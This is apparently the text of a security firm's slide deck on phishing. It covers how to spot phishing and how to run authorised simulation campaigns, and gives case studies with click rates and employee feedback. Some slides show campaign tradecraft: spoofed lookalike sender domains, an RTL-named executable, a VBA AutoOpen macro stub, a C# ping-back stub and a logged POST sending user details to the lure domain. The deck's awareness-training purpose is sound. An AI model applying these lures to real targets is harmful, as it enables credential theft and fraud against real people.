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What’s Phishing? Why phish?

Introduction
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Phishing is the attempt to obtain sensitive information

such as usernames, passwords, and credit card details (and

money), often for malicious reasons, by disguising as a

trustworthy entity in an electronic communication.

Phishing 101

Introduction

“
”https://en.wikipedia.org/wiki/Phishing
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What is it?

Introduction
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Likelihood

1st business communication vector

Exposed to the outside world

All employees use e-mail

Certain level of mistrust (against basic scams)

Consequences

Compromised corporate credentials

Dropping malware

Control of employee machines (stepping stone)

Business Email Compromise (a.k.a. CEO Fraud)

How much of a risk is Phishing?

Introduction
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How difficult is it?

Introduction

Automated tools:
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GoPhish

Introduction



compass-security.com 9

Technical aspects

Filtering of incoming e-mails

Blocking of malicious websites

Blocking of malicious file types

Hardening of the client infrastructure

Organizational aspects

Raise the awareness level of your employees

Introduce processes that limit the impact of successful attacks

Establish a culture of security

How to protect your company?

Introduction
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… use emotions

Greed

Urgency

Curiosity

Fear

Introduction

… try to make you do 

something you shouldn’t

Disclose information

Enter credentials in 

a page

Execute an active file

How to spot a phish?

… sound suspicious

Tone

Signature and salutations

Unknown sender

Wording, spelling and 

grammar

Beware of e-mails which …
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Always White Box

Targeted towards awareness raising

Up to 3000+ victims

For all kind of businesses

Using a broad range of techniques

Phishing @ Compass Security

Introduction



compass-security.com 12

Anatomy of a Phish

How to perform a phishing campaign?

Anatomy of a Phish
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1. Before

▪ Define the goal

▪ Prepare scenario

▪ Test setup

2. During

▪ Send mails

▪ Collect data

3. After

▪ Evaluate results

▪ Debrief & Awareness

▪ Plan next steps

Process

Anatomy of a Phish
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Before
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What is your motivation and goal?

▪ Compliance

▪ Orders from management

▪ Reaction to a recent incident

▪ As part of a penetration test

▪ Increase awareness & prevent future issues

Always keep in mind: Play fair!

Motivation & Goal

Anatomy of a Phish
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Choose the scenario in a white-box-approach. Discuss with the people responsible about:

▪ Who should be attacked?

▪ Specific department/people?

▪ Including management?

▪ Who should be involved/informed about the attack?

▪ Should the targets be «warned» prior to the attack?

▪ How long should the attack be performed?

▪ Days?

▪ Weeks?

▪ Until someone notices?

Context & Scope

Anatomy of a Phish
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Choose an attack scenario that fits your company/goal:

▪ Fake Website with Login (e.g. Webmail)

▪ Malicious document (e.g. Word with macros)

▪ Malicious executable

▪ Instructions to perform some action

▪ Combination of the above

▪ Same scenario for all targets

Adjust the difficulty level to your goal/campaign:

▪ First time attack?

▪ Were the targets informed before the attack?

What kind of hook?

Anatomy of a Phish
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When using some kind of malware to infect clients, be extra careful:

▪ Setup is very time consuming

▪ Are you allowed to remote-control a user’s machine?

▪ Are you allowed to record any data (may be private/personal)?

▪ The malware may spread across company boundaries

▪ Are you able to completely remove the infection after the attack?

Our recommendation: 

A simple «ping-back» mechanism is enough

in most cases

A word on infecting clients

Anatomy of a Phish
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How are you going to send the e-mails?

▪ Pose as an internal or external actor

▪ Using a spoofed address / similar domain

▪ Be careful when involving other existing companies

▪ Are you going to reply to responses?

When are you going to send the e-mails?

▪ Avoid holidays / periods with many absences

▪ Usually, spam/phishing hits mid-week between 10-12

▪ May depend on your scenario

Timing and interaction

Anatomy of a Phish
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All stages of the phishing should be tested thoroughly before the attack:

▪ Is the mail/attachment blocked?

▪ Is the mail marked as spam?

▪ Is the mail changed somehow by the receiving server?

▪ Do all links/attachments work as intended?

▪ Does the AV on the client detect/block anything?

▪ Does the macro work/execute?

▪ Is it possible to «ping back»?

At least one test person with a standard client setup should be involved

Test and repeat

Anatomy of a Phish
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During
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On the agreed date, the phishing mails are sent to the targets:

▪ All at once

▪ This might trigger defense mechanisms

▪ Everyone gets the mail at the same time

▪ In smaller batches

▪ Less likely to be detected/blocked

▪ Might cause reactions before everyone has received the mail

Sending the e-mails

Anatomy of a Phish
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Depending on the chosen scenario & attack method, different data can be collected:

▪ How many opened the fake website?

▪ How many entered data into the website?

▪ How many downloaded something from the website?

▪ How many activated/executed the malware?

▪ How many replied to the mail?

Other points to consider:

▪ Always use HTTPS to transfer information

▪ Do not transfer sensitive data (especially passwords)

▪ Work with unique identifiers for each recipient

Collecting Data

Anatomy of a Phish
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The phishing attack might cause reactions from the users:

▪ Decide beforehand who should react how to questions:

▪ Inform the users about the attack?

▪ Block or follow standard procedures?

▪ Release a company-wide warning?

▪ Keep in mind, that external IT providers might be affected as well

▪ Record/log everything you do:

▪ How many users report the attack?

▪ When was the warning released?

Be prepared for reactions

Anatomy of a Phish
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After
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In this case for example, should an 

email with such a URL (very similar 

to the Company X one, but with a 

letter missing) be able to reach our 

Company inbox?”Debrief the users:

▪ If possible, immediate feedback to the user is ideal

▪ Perform debriefing sessions with ALL users

▪ Show your employees what was done, what went wrong, how they should react etc.

▪ NO fingerpointing!

Get feedback from your employees:

▪ User feedback might identify false assumptions

▪ Let’s you focus on important points

Define lessons learned & repeat:

▪ Identify your weak points (both organizational and technical)

▪ Adjust, repeat and vary exercises

Debrief & Awareness

Anatomy of a Phish



compass-security.com 27

Some stories about our phishing

Once upon a Phish
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The Fake Login Ploy
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Overview

Once upon a Phish

Plot A software update requires users to

log into their Outlook Web Access

Vector Faked webmail login page

Target ~400 employees of Company Z

Sender IT Support

«it-support@company-z.net»
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Once upon a Phish
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Results

Once upon a Phish

No action recorded
62% (~250)

Employee absent
10% (~40)

Page visited, formular 
not sent
6% (~22)

Formular sent
22% (~88)

Clicked on link
28% (~110)
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Results - Timeline

Once upon a Phish
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The Internal Survey Hoax
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Overview

Once upon a Phish

Plot Survey about salaries in company Y

Vector Executable with RTL naming

embedded in a Microsoft Office 

document

Target 60 employees of company Y

Sender HR office
«NWCH-Personal@nwch-personal.ch»
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Once upon a Phish



compass-security.com 36

Once upon a Phish

class Program

{

static void Main(string[] args)

{

// Starting execution

// Creating object of class check

getReq gr = new getReq();

gr.send();

Console.ReadLine();

}

}
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Results

Once upon a Phish

No execution 
recorded
87% (52)

File execution
13% (8)
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The Crazy Discount Scam
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Plot Special discounts on Apple 

products for employees of

Company X

Vector Microsoft Office document with

remote template

Target ~1400 employees of company X

Sender External provider

«sales@mobilequest.ch»

Overview

Once upon a Phish



compass-security.com 40

Once upon a Phish
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DOCM – File with macros

DOCX – File without macros

Right? Well …

Once upon a Phish
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Once upon a Phish

Public Sub AutoOpen()

DeleteWarning

Call Request

Call Awareness

End Sub
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What the user sees

Once upon a Phish

What the analyst sees

POST /collect.php HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

Accept-Language: de-ch

UA-CPU: AMD64

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 

10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET 

CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: mobilequest.ch

Content-Length: 73

Connection: close

Cache-Control: no-cache

username=SampleUser&mail=sample.user@company.com&phone=+1

234567890
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Once upon a Phish

Results

No execution 
recorded

89% (~1240)

Macro execution
11% (~160)
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“The use of the Company X logo in the mail 

induced less "attention" from me”

“[…] The timing was right. However, I should 

have realised that the message did not come 

from Company X or Provider.”

“I now trust the security department less”

“Always useful to be sensitised - do it more 

often”

Once upon a Phish

“Given that I just got sucked in, I'm re-

evaluating my ability to detect phishing. I 

would welcome more info on phishing, but 

would be reluctant to introduce new controls 

that affect productivity.”

“I am an idiot. Thanks for pointing that out”

Feedback
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